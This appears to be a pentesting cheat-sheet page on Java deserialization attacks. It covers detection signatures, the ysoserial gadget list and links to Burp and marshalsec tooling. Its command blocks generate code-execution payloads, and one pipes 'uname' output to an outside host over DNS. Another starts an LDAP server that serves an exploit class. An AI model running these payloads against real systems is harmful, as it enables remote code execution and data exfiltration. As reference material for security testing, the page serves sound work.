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140 lines
15 KiB
Markdown
140 lines
15 KiB
Markdown
# Java Deserialization
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## Summary
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* [Detection](#detection)
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* [Tools](#tools)
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* [Ysoserial](#ysoserial)
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* [Burp extensions using ysoserial](#burp-extensionsl)
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* [Alternative Tooling](#alternative-tooling)
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* [References](#references)
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## Detection
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- `"AC ED 00 05"` in Hex
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* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
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* `00 05`: STREAM_VERSION. The serialization version.
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- `"rO0"` in Base64
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- Content-type = "application/x-java-serialized-object"
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- `"H4sIAAAAAAAAAJ"` in gzip(base64)
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## Tools
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### Ysoserial
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[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
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```java
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java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
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java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
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java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
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java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
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```
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**List of payloads included in ysoserial:**
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```ps1
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Payload Authors Dependencies
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------- ------- ------------
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AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
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BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
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C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
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Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
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Clojure @JackOfMostTrades clojure:1.8.0
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CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
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CommonsCollections1 @frohoff commons-collections:3.1
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CommonsCollections2 @frohoff commons-collections4:4.0
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CommonsCollections3 @frohoff commons-collections:3.1
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CommonsCollections4 @frohoff commons-collections4:4.0
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CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
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CommonsCollections6 @matthias_kaiser commons-collections:3.1
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CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
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FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
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Groovy1 @frohoff groovy:2.3.9
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Hibernate1 @mbechler
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Hibernate2 @mbechler
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JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
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JRMPClient @mbechler
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JRMPListener @mbechler
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JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
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JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
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Jdk7u21 @frohoff
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Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
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MozillaRhino1 @matthias_kaiser js:1.7R2
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MozillaRhino2 @_tint0 js:1.7R2
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Myfaces1 @mbechler
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Myfaces2 @mbechler
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ROME @mbechler rome:1.0
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Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
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Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
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URLDNS @gebl
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Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
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Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
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```
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### Burp extensions
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- [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks
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- [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
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- [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite
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- [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
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- [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
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### Alternative Tooling
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- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
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- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
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- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
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- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
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- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
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- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
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- [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
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```java
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java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
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python deserek.py yss_base.bin --format python > yss_url.py
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python yss_url.py yss_new.bin
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java -cp JavaSerializationTestSuite DeSerial yss_new.bin
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```
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- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
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```java
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$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
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$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
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$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
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// -a - generates/tests all payloads for that marshaller
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// -t - runs in test mode, unmarshalling the generated payloads after generating them.
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// -v - verbose mode, e.g. also shows the generated payload in test mode.
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// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
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// arguments - Gadget specific arguments
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```
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Payload generators for the following marshallers are included:<br />
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| Marshaller | Gadget Impact
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| ------------------------------- | ----------------------------------------------
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| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
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| Hessian|Burlap | various third party RCEs
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| Castor | dependency library RCE
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| Jackson | **possible JDK only RCE**, various third party RCEs
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| Java | yet another third party RCE
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| JsonIO | **JDK only RCE**
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| JYAML | **JDK only RCE**
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| Kryo | third party RCEs
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| KryoAltStrategy | **JDK only RCE**
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| Red5AMF(0|3) | **JDK only RCE**
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| SnakeYAML | **JDK only RCEs**
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| XStream | **JDK only RCEs**
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| YAMLBeans | third party RCE
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## References
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- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
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- [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
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- [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
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- [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
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- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
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- [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
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- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
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- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
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- [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) |